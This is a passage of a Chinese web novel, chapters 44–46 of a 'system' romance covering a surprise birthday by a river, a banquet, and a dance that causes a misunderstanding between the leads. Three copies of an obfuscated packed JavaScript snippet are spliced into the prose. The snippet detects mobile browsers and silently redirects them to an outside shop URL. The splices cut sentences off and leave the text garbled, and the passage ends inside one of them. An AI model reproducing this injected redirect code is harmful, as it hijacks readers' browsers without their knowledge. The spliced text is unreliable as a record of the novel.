[我刚才去找上级催男主大人的好感度系统报修进度,发现我的顶头上司被天道局裁员了,现在岗位空缺,其他的部门也都在踢皮球。] 池映雪:“这是好消息?” [当然啦!]系统雄赳赳,[我可以趁他们监管不力,偷偷给宿主谋些职权内的福利!] 为了证明自己很厉害,系统噼里啪啦地打字。 [宿主的妈妈秦书正在招待沈星桥妈妈、邢芷妈妈和另一位贵太太打麻将,邢芷妈妈夸赞池鲤鲤钢琴表演优秀,秦书笑着回应。] [沈星桥跟着妈妈来拜访,正在向管家询问宿主在家里……诶,管家接到一个电话,急匆匆地走了。] [秦书让去送花茶饼干的池鲤鲤上楼叫宿主啦,出于礼节,宿主应该下楼一起见下客人,招待沈星桥他们。但池鲤鲤………她压根没来!直接去找沈星桥了!] 系统皱起眉,这样让别人怎么想宿主啊?! 池映雪从礼服的后背部抽出头发,柔软而富有光泽的黑发飘下,带一点蓬却并不夸张的公主裙很漂亮。 “他们去哪了?” [叮!检测到剧情角色池鲤鲤、沈星桥当前位置:别墅后花园。] 池映雪有些好奇在那个世界的宴会前有没有这一回事,但也仅仅只是一个闪念。 要是类似的事情一多,难怪别人对她印象不好呢。 系统的电子框忽然闪起来,池映雪来不及查看,耳边先响起一阵模模糊糊的长鸣。 由远及近,就像是—— 机车的引擎。 厚重的落地窗帘被她拉开,还有一层薄薄的轻纱。 池映雪推门而出,跑到阳台边的栏杆前趴着往下望。 黑而亮的披发被晚风吹起,挡住了些眉眼,视线依旧清明。 她住在二楼的最西侧,楼下是一片曲径通幽的灌木草坪,向东是泳池,向外是停车坪。 管家在停车坪与曲径的深红色门前恭敬相迎,道路两边的月季皎洁,夜色中闪着黑泽流火的机车稳稳刹在阳台下方。 复古的黑色皮夹克又酷又痞,宽裤皮鞋,手上还有同色系的机车手套。 饶是浓颜罩在黑色头盔下,也让人感受到潇洒的、狂傲不羁的烈性美。 李闻蝉摘下头盔,夹在腰际,清晰的容颜一下子照亮了略显单调阴暗的坪与道。 他冲她挑一下眉,勾着唇,取下那顶属于她的HelloKitty头盔,在手里晃了晃,掏出手机打字。 李闻蝉:「真巧。」 池映雪看一眼手机,看一眼他。 发丝拂到睫毛间,眼睛痒痒的。明亮的红色车灯醒目,每闪一下都给空气升温。 李闻蝉:「池映雪,下楼。」 44. 第 44 章 池映雪下楼后直奔与这块草坪相连的后门,两手提着公主裙,跑向闪着灯的机车。 “哟,试新裙子呢。” 李闻蝉随口喃喃,将头盔递给她。 池映雪接过来,这次学会了自己戴。 小雪:「干嘛呀。」 他再晚点,她都要睡觉了,有事也不早说。 李闻蝉嘴角轻抿,屈起手指,弹了弹她头盔上红红的蝴蝶结。 「你都不知道我要干嘛,就戴头盔了?」 池映雪:…… 池映雪不问了,在头盔里偷偷鼓起腮帮,跳上他的后座。 机车的发动声再次响起,她灵光一闪,问系统:“这样算私奔吗?” 算的吧?算的吧! 引擎声骤熄。 [叮!攻略对象好感+3。] [当前男主好感:42.5,恭喜解锁“听力等级2”!] 下一秒,机车乍然疾驰。 池映雪因为惯性向后倒,下意识抓紧黑色皮外套的衣角,又很快弹回去。 HelloKitty的耳朵尖尖轻碰黑色头盔的下沿,简短的清脆音节,虽然仍旧朦胧,较之上一回却更加清楚。 不止是这样。 在别墅群主道上擦肩而过的一串车流,秋日夜间疾行而过的晚风; 轰鸣引擎与不停滚动的轮胎,轮胎压过的梧桐叶遗骸; 李闻蝉轻轻哼起的英文小调。 除了与他相关,每一种声音都轻薄,都如雾里看花。 但即使隔着雾,池映雪能感受到花的存在了。 喉咙深处传来撕裂的疼痛,系统提醒她这是发声的预兆。 好痛,可是好幸福。 幸福的快要死掉了。 [叮!“和男主私奔”任务完成,更新为:“穿上男主的衣服”。] 唰唰—— 梧桐树下洋流一般的脆金落叶被碾过、扬起,化身为距离灰色路面不到五公分的蝶。 李闻蝉身体前倾,加速。 头盔的镜片没有放下,锐意的眼暴露在扑面凉风里,被头盔压住的碎发落下浅影,遮不住眼睑下酡红般的闷热。 真的疯了。 “……别把死挂在嘴边啊。” [叮!攻略对象好感+0.5。] [当前男主好感:43。] 机车停在湿润的气味中。 池映雪摘下头盔,抓着白裙的蓬起下车。 又是江边,又是那座桥。 只不过上次在桥上,这次李闻蝉带她走向桥下的玻璃栈道。 国庆假期,不用细想也知道这里会有许多人打卡。池映雪看出李闻蝉绕了些远路,骑车过来已经将近一个小时。 手机锁屏上方挂着大大的“23:34”,玻璃栈道早就熄灯,一路上只有路过大桥,朝反方向走的零散游客。 李闻蝉逆着稀疏的人流,向桥弧的弯处走去。 池映雪跟在他身后,进入时留意到脚边的告示牌。虹桥十点钟就该关闭了,不知道为什么没人拦他们,也许他用了“钞”能力。 黑色皮衣的背影挺阔不驯,很有意气风发的味道,长腿迈出的步子像刻意压慢了。 她也不知道他到底要干什么。 晚风有点冷,池映雪只有一件美观而单薄的白色蓬裙,双手轻轻抱在胸前取暖。 黑色皮衣落下,残余着几乎称得上炽热的体温,以及少年身上的橘子香。 这好像是完成得最轻易的一个任务。 虽然池映雪一开始都没想起来它还算个任务。 [叮!“穿上男主的衣服”任务完成,更新为:“把男主写进你的语文作文吧”。] 池映雪停下脚步,李闻蝉就像没事人一样,不紧不慢地向前漫步在栈道上。 江水深流。 [叮!攻略对象好感+1。] [当前男主好感:44。] 池映雪忽然低下头。 好想笑,莫名其妙。 她的手揪紧宽大夹克的领口,不让风吹走它。视线跟随李闻蝉一步一步向前行走的黑色休闲皮鞋,两边隔绝着江水的玻璃越来越亮。 似乎是什么的反光。 黑色的皮鞋停下,池映雪顺势扬起眼睫。 ——圆弧形栈道的拐弯处,刚才被遮挡与忽视的景象豁然开朗。 七盏不同的夜灯,或亮白或暖黄,照在垫着野餐垫的五道身影上,身后还堆了一地的闪灯充气气球。 李闻蝉轻咳一声,小群里的其余五人纷纷回头。 万苏瑶和胡挚两个最活跃的人直接高高举起手,朝他们招招又摇摇。 池映雪手足无措地愣在原地。 李闻蝉低头叹了口气,拽着黑色外套的袖子向前走去。 万苏瑶和秋怡手忙脚乱地捧起一块蛋糕,其他三个人用手机手电筒打光,蛋糕看上去像亲手做的,有点笨拙,很明显是史迪奇的脸。 系统悄咪咪地在蛋糕上面还未点燃的蜡烛上放了朵小火苗的emoji,只有它和池映雪能看到。 [宿主,还记得前几天你们最后去的那家私人面包房吗?宿主的朋友当时背着你说话,实际上是去咨询能不能DIY蛋糕了。 还有在肯爷爷那天,他们讨论的也是宿主的生日哦。] 见池映雪还是木木的,胡挚撞了下万苏瑶的胳膊:“不该呀,你不是说她喜欢这个吗?” 万苏瑶也纳闷:“小雪一下就相中了它的石膏娃娃啊……” 池映雪睫毛剧颤,无声地吸了吸鼻子,转过身去。 宽阔的黑色外套将她的双肩完全笼罩,看不出底下的抖动。 胡挚大大咧咧地蹦起来:“怎么了怎么了?不舒服吗?” 万苏瑶被发现了什么的秋怡拉住,李闻蝉撩了一下耳边的碎发,靠近池映雪,从外套口袋里取出手帕纸。 李闻蝉:“某人哭鼻子了。” 胡挚担忧的表情瞬间凝固,转而爆发出鹅鹅大笑。笑声和传染似的蔓延,池映雪的眼泪像珍珠一样滚下来,唇角亦如弯月勾起。 章子健拿出从章爸爸那顺来的火机给蛋糕点蜡烛,池映雪被六个人围住,阖上眼许愿。 李闻蝉耳朵动了动。 “……”他很轻地笑一声,低喃,“会的。” 池映雪睁开眼,给大家分蛋糕。转眼瞧见万苏瑶和胡挚已经开始互殴,具体表现为把彼此碟子里的蓝色奶油往对方脸上抹。 池映雪的手有些痒,但也只敢在心里想想。 胡挚的打闹显然影响到了坐在旁边的李闻蝉。他朝池映雪的身侧挪动,一手端着蛋糕块,一手撑在二人中间靠后的野餐垫上。 池映雪一边眼睛弯弯地欣赏战况,一边抿着沾有奶油的小叉子,身边人的脸忽然放大。 夜灯的暖白色昏昏照映,给李闻蝉渡上一层温和的光,锋利的眉眼显得很柔。 “不、哭、了?” 李闻蝉的口型并不算很清楚,因为说话时脸慢慢转向另一边,白皙的脸颊侧对着她,以及她手里的奶油蛋糕。 “给你抹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635264|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池映雪的手指轻抬。 她环顾一圈,两边闹得更欢,没人看过来。 手指于是颤巍巍地伸出,在李闻蝉脸上抹下一小道蓝色奶油的划痕,迅速撤回。 李闻蝉卧蚕加深,梨涡明显,嘟囔着笑话她:“出息。” 他擦掉奶油,分给她一张湿巾,又从裤子口袋里取出一把钥匙递给她。 池映雪不解地抬头。 他的机车钥匙给她干嘛? 李闻蝉低头打字,池映雪倒扣的手机震动。 刚要拿起来,忽然眼皮跳动。 那个备注可不能让人看见了…… 池映雪心虚地坐远了些,双手捏着手机,确保屏幕背对他。 李闻蝉:「不是我的,是你的。」 李闻蝉:「你的礼物。(图片)」 池映雪点击图片,一辆更小一点的白色机车,线条利落又漂亮,背景是他在学校附近的车库。 「先替你保存,等明年的这个时候,我教你。」 池映雪的两只手慢慢收紧,手机靠向下半张脸,挡在鼻尖上。 莫名不知道该回复什么。 没有被遮挡的眉眼看向李闻蝉,染着自己都浑然不知的亮晶晶。 手机再度震动,微麻感传向鼻尖。 李闻蝉:「但今年也不会让你空手。」 池映雪瞳孔微缩,没有留意到其余的一圈人早就停了嬉闹,朝她坐近、围拢。 像变魔术一样,他将机车钥匙拿回手上,手掌反转两下,钥匙被另一只手提开。 几盏夜灯照亮掌心,上面安静地躺着一条闪着流光的手链。 手链由碎钻编织,有七枚不同颜色宝石雕琢的饰件。 ——雪花、蝉翼、老虎、花、秋枫、雨滴、毽子羽毛。 万苏瑶晃了晃手腕,不知何时,她们也戴上了一模一样的手链。 掌心里的手机屏幕显示小群的聊天界面。 万苏瑶:「现在是首都时间23点59分的最后60秒。」 秋怡:「在这里,要恭喜我们当中最小的小雪,即将17岁啦。」 胡挚:「小雪神,以后也请多多指教吧!(教我学数学!我不想被你们落下啊啊啊!)」 章子健:「不知道你喜欢什么,好像你家也啥都不缺了,我们就定制了这个。」 穆雨阳:「每个人都有,寿星同学的是蝉哥赞助的真钻和真宝石哦~」 李闻蝉拍了一下他的脑袋:“不是不让你说?” 万苏瑶:「友谊万岁!还有最重要的——」 秋怡:「3!」 胡挚:「2!」 万苏瑶:「1!」 池映雪紧盯屏幕,以为下面会接龙“生日快乐”刷屏,然而没有。 一双手忽然从身后提起黑色外套的领口,连带着捧起她的脸。 带有炽热的体温,在凉夜江边格外灼烫。 她好像又听到在地铁站时那句话,无奈,一点点溺人的笑意。 池映雪。 抬头啊。 黑夜当空,无星也无月。 人造光束穿梭昏暗,起码成百架无人机如忽闪的天灯般在她眼前垂直升起,星芒映在近在咫尺的玻璃栈道,江面像美术鉴赏课上梵高星月夜的投影。 广阔的头顶正上方,无人机逐渐汇集,排开一道整齐的文字矩阵。 像是提前到来的雪花,永恒不落的流星。 “17岁生日快乐。” 听不见的烟花,特意为她绽放。 45. 第 45 章 第二天早上,池映雪难得多睡了一会,九点才睁开眼。 手机上已经有很多条消息和未接来电,她敏锐地下床走到门边,果然发现门板在震动。 在应家,池映雪有记忆后就在应光司的床边打地铺,后来长大了些,男女要分开,她就被安排睡在杂物间。 南城夏天闷热潮湿,冬天冷得刺骨。杂物间没有窗户,陈年累月堆积着装打包盒、塑料袋和一次性餐具的纸箱,很难闻,很闭塞。 就在两个多月前的盛夏,池映雪半夜被热醒,睁开眼,惊恐地发现应光司站在杂物间里,翻她的书包。 他走后,她书包夹层里辛苦攒了好久的五百二十七元现金不见了。 从那以后,池映雪就再也不收熟客的现金,而是都请求他们打到手机里,睡觉也会锁上门。 回到现在,雕花门的震颤停了下来。 系统:[宿主,刚才敲门的是秦书,后面还跟着池鲤鲤。] [昨晚你走后,管家去汇报了情况,秦书当时的脸色就不太好看,但她明白不能和李闻蝉站在对立面。后来池鲤鲤私下找到她撒娇要裙子,她答应了,一早就领她过来。] [一开始是想劝你把裙子给池鲤鲤,然后发现你一反常态,这个点还没有回消息,以为你出了什么事,秦书叫来管家开门,很明显失败了。] 池映雪看了眼她顺手抵在门前的小柜子,心情复杂。 系统接着说:[接着池润和池怀元就来了,池怀元劝走了秦书,池润一眼就看出了池鲤鲤抢衣服的小算盘,正在教训她。] 系统加粗字体,[他还说一定会在宴会上宣布你才是真的池家千金,叫池鲤鲤不要做什么宣称你们是亲姐妹的美梦!] [宿主现在出去的话,可以看到池鲤鲤被呵斥的惨状哦!] 真是太解气啦! 池映雪摇了摇头,转身回去洗漱。 她只要知道结果就好了。 而且…… 池映雪用冰水拍脸,镜子里的瓜子小脸瘦而不柴,雪白雪白。 她今天没空搭理池鲤鲤等人。 无论她们恼羞无能,疑惑像原著那样嘲讽或冷待,怎样都好,她有更重要的事情。 池映雪用软软的毛巾用力擦拭水迹,擦完还用湿毛巾捂脸,脑子里又冒出来李闻蝉昨晚最后的消息。 他说,宴会上一起跳一支舞吧。 毛巾缓缓降下,露出的圆眼睛与镜中对视。 ……好歹也问一下嘛。 上来就是陈述句,就和笃定她会同意似的。 系统:[宿主也没反驳呀。] 池映雪用毛巾盖住它,轻轻地哼了一声。 喉间撕痛,随着哼气发出粗哑的短促音符。 系统在旁边换上啦啦队的皮肤,为她加油鼓气。 等她疼到受不了,停止发声的练习,系统调侃:[宿主再接再厉,发出真正的声音指日可待!] [到时候宿主就不用偷偷摸摸地给男主送礼物啦,咱们也可以面对面、告诉他你塞了一张明信片在还回去的外套口袋里……] “!!!” 池映雪再次用毛巾遮挡,电子屏很快又弹出来。 盖不住,池映雪红着脸转身,再也不看它。 “我那是在做任务好吗?做任务。”她绞着毛巾。 [好吧,做任务。]系统噘嘴。 [但宿主要知道哦,送东西要对方收到才算成立,男主大人发现明信片前,任务是不会完成的。] 蓝紫色的晚霞下,生日宴会如约而至。 别墅里的宴会厅已经灯火辉煌,觥筹交错。名流云集,巨大的鲜花群和香槟塔在繁华朗逸的流光下迎宾而伫。 虽说不是盛池的董事长亲生一脉,依照对外透露的两家关系,南城的一众豪门也仍旧乐意结交。 池映雪穿着终于独属她的白色礼服裙,外套浅蓝色的披肩,站在秦书旁边微笑待客。 万苏瑶和秋怡等人今天显然也打扮过,精致又不喧宾夺主。穆雨阳被胡挚和章子健一人一只胳膊架过来,显然还对西装水土不服。 池映雪和秦书打过招呼,和他们走到一边。 她给每个人发了一个宴会的纪念徽章,还剩下一个。 池映雪踮起脚尖,到处搜寻那道身影。 章子健摸了摸下巴,打字道:「那个,蝉哥没告诉你吗?」 「他临时有急事,过一会才来。」 池映雪没有带手机,并不知道这茬。她估计李闻蝉发过消息,但没被看见。 这么想着,她松了口气,任由万苏瑶两眼放光,为她拍照。 结果直到宴会正式开始,池润领着她上台庆贺,当众宣布她才是池家的亲生女儿,李闻蝉也没有到场。 池映雪站在演讲台旁,灯光璀璨的落点,台下宾客瞩目,或善意,或好奇,或惋惜,或敌视。 尤其是池鲤鲤和邢芷那群人,简直快把她盯穿了。 池鲤鲤强装无事,笑得很勉强,忽然被池怀元叫走。 “鲤鲤,你最近这样不好。”池怀元温和道,“小雪是我的亲妹妹,可我们过去十几年的兄妹情也不会改变。” “就当是为了我,你能不能对小雪好些,与她缓和关系?” 池鲤鲤紧攥手心,不敢直视他,心虚地点了点头。 池怀元露出放松的笑:“那就好。你去帮我给她带句话,顺便培养感情,好吗?” 另一边,万苏瑶欢快地为池润给池映雪正名这一事实拍手,秋怡戳了戳她:“你有没有发现小雪心不在焉啊?” “啊?”万苏瑶的手掌停在空中,仔细瞧过去,“真的诶!” “她看哪儿呢?” 万苏瑶随着池映雪视线时不时瞥去的方向回头。 ——那不就是宴会厅的门吗?有什么好看的? 距离玫瑰园别墅40分钟车程的池家老宅,空寂的古木旋转楼梯间。 李闻蝉缄默地走下,步履沉重。 一向意气风发的姿态被巨大的茫然掩盖,仔细看去,眼眶微红。 楼梯之下,池静俭低头看了眼手表,提醒道:“再放空,就赶不上舞会了。” 李闻蝉的睫毛猛地抖动,如梦初醒。 脚步停顿一格,然后迅速加速,一步跨好几节,啪嗒啪嗒地踩在木质的阶梯上。 池静俭:“……倒也不用这么急。” “放心好了,我已经让池怀元转告妹妹,你有实在无法推脱的事。如果赶不及,想必她也会理解的。” 李闻蝉已经来到最后几节,纵然跃下,大步流星地向门外的跑车走去。 一看就没把他的话听进去。 池怀元差点没追上,拦住拉开驾驶位车门的李闻蝉:“你确定你现在情绪是稳定的吗?” “我来。” 车辆启程,池静俭在李闻蝉焦灼的注视里加速:“话说,你什么时候和我妹妹关系这么好?居然还相约跳舞。” 李闻蝉平复了一下情绪,恢复正常,挑眉反问:“这就叫上妹妹了?”这么亲。 见面有两次吗? 池静俭:“我本来就是哥哥,不像某些人,充其量只能被喊小叔。” 李闻蝉:………… 池静俭:“不回答我的问题是吧,那我换一个。” “下午唐女士着急赶来老宅见你,说了什么?” 李闻蝉看向窗外。 池静俭余光扫了他一眼,确信道:“是有关伯母的事。” 关系稍近的人都知道,唐女士唐伯霓,是李闻蝉妈妈生前的至交。 李闻蝉的手肘抵在车窗下方,手撑侧脸,眼神飘远。 “嗯。” 他逐渐勾起唇,吸了吸鼻子,“……是好事。” “好到我一开始都不敢相信那是真的。” 不过半小时,跑车驶入玫瑰园。李闻蝉已经整理了很久着装和发胶,仔细对黑色高定西装是否有褶皱进行最后的检查。 池静俭睨他一眼:“看来真是非常好的好事,看你兴奋的,什么时候参加个宴会这么积极。” 李闻蝉没理他,翻出一路没敢打开、仅剩1%电量的手机,只看了屏幕一眼,就弯了眉眼。 七人群聊置顶,最先被看见,消息停留在十分钟前。 章子健:「蝉哥蝉哥,走哪了啊,等你等的花都谢了。」 万苏瑶:「这磅蛋糕挺好吃的,都快抢完了,@tiger@雨后阳光快帮你们大哥抢一个。」 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635265|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小雪:「不用,我留了一份。」 穆雨阳:「那个磅蛋糕是巧克力的,蝉哥不吃。」 小雪:「嗯。」 小雪:「是奶酪的。」 万苏瑶:「啊?还有奶酪的,我咋没看见!!」 两分钟后池映雪才在下面回复:「不好意思啊瑶瑶,我只麻烦师傅多做了一份这个口味,你想吃的话明天我带给你。」 只做了一份? 李闻蝉的手指不自觉长按这条消息,直到弹出复制等功能才松开。 撑着侧脸的手逐渐上移到唇部,掩住疯狂上扬的嘴角,欣赏车窗里帅气张扬的倒影。 “………” “啧。”也不知道藏着些。 “啧啧。” 真拿她没办法。 池静俭:“你逗狗呢?” 李闻蝉:“池静俭,你说高中生谈恋爱是不是不好啊。” 池静俭:“……?” 李闻蝉皱起眉为难道:“我可是好学生,好学生怎么能谈恋爱呢?可是不谈恋爱,我个人魅力这么大,让单恋我的女生伤心怎么办?” 池静俭:“……………你让女生伤心还少吗?” “明明好友申请里拒绝的男男女女比我总共加的好友还多。” “再说。”池静俭降下敞篷,渐渐减速,怀疑道,“你是好学生?” “哼,士别三日。” 终于等到跑车将停这一刻,李闻蝉眼疾手快地单手撑着已经降下篷窗的车门,翻身跳出。 西装笔挺的少年青涩初褪,隐约可见未来的沉稳,眉眼却抑不住少年意气。 李闻蝉轻快而得意地朝宴会厅奔跑,头也不回,只扔下一句话,在逐渐落幕的盛大晚霞里飘荡。 “以后都是。” 池静俭笑了一声,打开车门:“德行。” 他下车的动作暂停,伸手捡起掉在副驾驶座下一丝电的手机,无语地叹气。 无意间扫了一眼聊天界面置顶群下方不断弹出的小红点,池静俭神色呆滞。 落霞艳浥,深紫夕光连接降落的橘红日色,两边的藤蔓与金色树叶如横行的瀑布。 李闻蝉跑在通往宴会厅的红毯长廊上,隔着门便听见话筒里的男声宣布舞会第一支曲即将开场。 刚刚好,还来得及。 吱—— 李闻蝉拉开宴会厅的门,调整着勃艮第红的条纹领带,来不及喘气,眺望着舞池中各色的人群。 熟悉的纤细身影,熟悉的白色蓬蓬公主裙。 削薄红唇挑起惬意弧度,万般飞扬,步步径直走去。 得先道个歉。 说明一下来迟的原因。 然后跳一支舞,他只学过,没有跳过,但应该不会生疏。 还得看着点她,虽然他知道她即使听不见,应该也能和着步子跳。有的人聪明着呢。 再然后,他带她找个地方聊聊,或许是喷泉,或许是那个开满月季的小径。 聊聊她在长江大桥上想的那件事。 不是不可以—— 笑容僵在嘴边,李闻蝉停下脚步。 华尔兹乐曲响起,舞池里的其余人都开始成对跳舞,只剩他一个人格格不入。 ——池映雪被同样身着白色的沈星桥牵起。 脸颊逐渐染上罕见的粉红。 旋转的人群,交织的音符。 熟悉的清浅声音在杂乱音色中,磕磕绊绊穿入他耳畔。 “之前许的愿望已经实现,成为李闻蝉的好朋友,这就够了。” 李闻蝉笑容消失。 好朋友。 好朋友? 李闻蝉的大脑一片空白,一路飞驰的腿微微发麻。 好感是这个意思? 他调整了一下呼吸,摸了摸后颈,狠狠锤了两下,重新优雅地上抬嘴角。 行吧,这样反倒合他的意…… 耳畔再次落下那道心音,李闻蝉嘴角的肌肉猛地生痛。 “……沈星桥他很好,毋庸置疑,还恰好在我最需要的时候出现。” “被选择的那一刻,心里的缺憾被填满……” “…………池映雪,也许真的喜欢他。” “喜欢沈星桥。” 46. 第 46 章 舞会开始前。 池映雪在宴会厅二楼的阳台上向远处眺望,慢慢闭上眼。 没有。 引擎声,汽笛声,脚步声,什么声音也没有。 万苏瑶在一边拧胡挚:“你蝉哥怎么回事啊?放鸽子?!” “不可能!蝉哥才不是那种人。” 胡挚和穆雨阳坐在地上,一人打电话一人私聊消息轰炸,一无所获。 万苏瑶:“……不会出事了吧?” 她看向池映雪远眺的背影,轻扇嘴巴:“呸呸呸!” 几人瞬间安静下来,就在这时,阳台的入口出现一位不速之客。 池鲤鲤上下打量了他们一番,踩着细跟舞鞋走向趴在欧风栏杆前的池映雪。 万苏瑶正要上前阻拦,池鲤鲤轻蔑地笑了笑,递给池映雪一张字条。 「在等李闻蝉么?」 「很遗憾,哥哥让我转告你,他不会来了。」 池映雪捏紧纸条,抬起眼与池鲤鲤对视。 凛然清澈的眸光让池鲤鲤无所遁形,想起池怀元交代给她的话,更是任由美甲嵌入掌心。 池鲤鲤调整呼吸,轻撩卷发,示意池映雪翻面看。 「信不信随你,人家可是老爷子亲手带在身边的人,事务繁忙,你的事不可能比盛池还重要。」 池映雪将纸条叠起,随手丢进了掩在花叶间的垃圾桶,表情淡淡。 池鲤鲤没在她脸上看到想象中的失意,后悔应该写得更刺激些。 但她转而想到对舞蹈老师交代的那些事,得意地勾起唇。 就算李闻蝉真的及时赶到又如何?该出的洋相,也照样会出! 阳台与内厅的连接处又走近一个人影,池鲤鲤脸上的笑从讽刺变成惊喜:“星桥哥哥!” 她提着玫红色的公主裙小跑过去,红着脸问,“你是来找我的吗?” 沈星桥对池鲤鲤礼貌性微笑,疏离地摇头,径直走向池映雪。 池映雪还靠在栏杆上发呆,浑然未觉间,沈星桥举起手机。 「你也没有舞伴吗?」 「如果不嫌弃,等下可不可以一起跳第一支舞?不用担心跳不好,跟着我的步子就好。」 池映雪微愣,下意识侧眸望了一眼别墅之外的道路。 除了金黄的梧桐叶,什么也没有。 她再看向沈星桥身后的池鲤鲤,那双美眸间的得意消失,只余下针对她的幽怨。 池映雪想起小说里的描写。 [而在角落,有一道阴暗的视线始终追随着与池鲤鲤跳舞的沈星桥。 就算池映雪是今天宣布回归的真女儿,但只要池鲤鲤在,主角永远只会是她。] [有人说大实话:“开玩笑,谁愿意和一个聋哑人当舞伴啊?被踩一脚就老实了,哈哈哈……” 就连这些笑声,真千金也听不到。] 眼前,沈星桥依旧是一身纯白的礼服,依旧温柔,在池鲤鲤和她之间毫不犹豫地选择了她。 池映雪轻轻点头。 回到内厅,池鲤鲤强忍下嫉妒才没有将高脚杯摔在地上。 邢芷看了一眼已经带着池映雪入场的沈星桥,唇角轻勾一下,面色担忧地向池鲤鲤走去。 “鲤鲤,别担心,我不是给你出过主意吗?” 她提醒,“只要你按我说的和舞蹈老师讲,她一定会帮我们,什么舞步都不好好教她的。” “说了。”池鲤鲤放下心来,又皱眉,“……可要是她一会害星桥哥哥也一起丢人现眼怎么办?” 邢芷眼中划过不屑,被很好地遮掩。 “你的星桥哥哥那么优秀,不会在这些小事上计较的。” 邢芷一脸看好戏的神情:“现在,咱们就等着看她‘跳舞’吧。” 还没收敛讽笑,她们忽然与舞池里的池映雪对视,在她脸上看见了淡然自若。 池鲤鲤上次看见这个表情,是在月考前她取笑池映雪成绩的时候。 池鲤鲤有种很不好的预感。 盛大的华尔兹舞曲奏响,池映雪与沈星桥共舞。 白色的蓬裙随舞步优雅摇曳,女孩的动作不算娴熟,别有一种青涩的可爱,但绝对谈不上丢丑——她比在场的大部分人跳得还要好,完全不像个初学者。 还是被舞蹈老师故意教坏的初学者。 “啊啊啊,我就知道小雪肯定没问题的!” 万苏瑶兴奋地在二楼对准池映雪俯拍,还有舞池外的不少宾客都停下来,欣赏这一幕。 “她不是……吗?怎么能跳得这么好?” “不愧是池家的亲女儿啊!” “听说她成绩也很好……” 邢芷满脸不可置信:“怎么可能?!” 池鲤鲤瞪了邢芷一眼,咬牙切齿,扭头就走。 沈星桥显然也很惊讶她跳得这么好,柔和而欣赏地微笑起来,配上一身矜贵的礼服,像是纯白的雕塑。 系统把池鲤鲤和邢芷的吃瘪表情截图,弹到池映雪眼前:[笑死我了哈哈哈哈!她们肯定想不到,宿主早就通过“宴会”剧情知道了那些小算盘,早就在视频网站里找大师分享课学了好久了!] [那个舞蹈老师也早就被宿主报告给池润,私下辞退咯~] 该说不愧是自学了十几年的学霸吗?宿主这自学能力,牛啊! 池映雪任由这几天的肌肉记忆牵动足下的步伐,心不在焉。 她还以为看见池鲤鲤吃瘪和旁人赞美的眼神会很开心,其实没有。 ——所以李闻蝉到底去哪了? 应该没出事,因为系统虽然唯独不能监视到男主的具体行程,却提醒他的好感度一直在上涨,已经加到了52。 池映雪的睫毛抖了抖,40是认可,60就是……好感了呀。 52的话,还、还没到那个程度吧。 脸莫名有些烫,就和发烧了一样。刚才一直站在阳台边,其实也有去吹风降温的原因在。 池映雪咬了咬唇,疼痛让脑袋清醒不少。 之前许的愿望已经实现,成为李闻蝉的好朋友,这就够了。 ……人家可是真正的男主。 沈星桥转向靠近进门处的方向,腰腹部有些不自然,转弯的时候略显僵硬。池映雪这才将目光聚焦于他,疑惑一闪而过,决定等舞会结束拿到手机问候一下。 自从解锁了原文剧情后,池映雪扪心自问过她会不会真的喜欢沈星桥。 他很好,毋庸置疑,还恰好在她最需要的时候出现。 潜意识也经常有个念头说:你该喜欢他。 然而,当她被选择的那一刻,心里的缺憾被填满,却好像更加空虚。 手拉着手跳舞,掌心的温度冰凉。 池映雪心里平静地想。 在另一个世界,一无所有的“池映雪”也许真的喜欢他,喜欢沈星桥。 但,池映雪绝对…… [警告!攻略对象好感-10。] 系统这才从惬意的音乐里抽离,紧急播报:[啊啊啊宿主!男主大人来了好久了,就在门口啊!] [完了完了!怎么一下子减这么多?] 一支舞正好结束,音乐渐歇,沈星桥缓缓停下来。 池映雪淡淡的眸光骤然亮起,顺势转身,与宴会厅大门处的李闻蝉对视。 逆着光,看不清他的脸庞。 似乎是牵动了一下嘴角,却没什么喜悦的氛围。 视线隔着宴会厅里偶尔过路的侍者或宾客交汇,李闻蝉很快转身出门。 池映雪这才想起来他的好感度减了,还减了好多。 可是,为什么? 机器又坏了? 反正也跳完了,她连忙告别沈星桥,提着裙子追出去。 太阳已经在短短时间坠落,蓝紫色的晚霞化为深蓝,映衬着满院的藤蔓和灌木,叶片都染上黑压压的沉闷。 不知道李闻蝉去了哪里,距离太远,系统检测不到。 池映雪停下来揉了揉脚踝,心里打鼓。 她其实没信池鲤鲤的挑拨。 什么“别的事情都比她重要”……这话倒也没错,只是不大好听。 反正池映雪不觉得李闻蝉会无缘无故放鸽子,他说了会来就一定会来。 池鲤鲤既然能知道李闻蝉会和她跳舞,证明他那边确实有事,但那又有什么关系。 第一支舞赶不及,那就第二支,最后一支。 她继续寻找,走到后花园的入口,意外遇到了池静俭。 池静俭手里拿着一个手机,还有一个充电宝,池映雪认出手机是李闻蝉的。 池静俭先一步走到她面前:「妹妹,闻蝉说要和你跳舞,你们怎么没在一起?」 池映雪尴尬地捋了捋头发,池静俭好像明白了什么,赶紧打字:「他还是来晚了?」 「闻蝉真的遇到了急事,不是故意迟到的。我们开车赶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 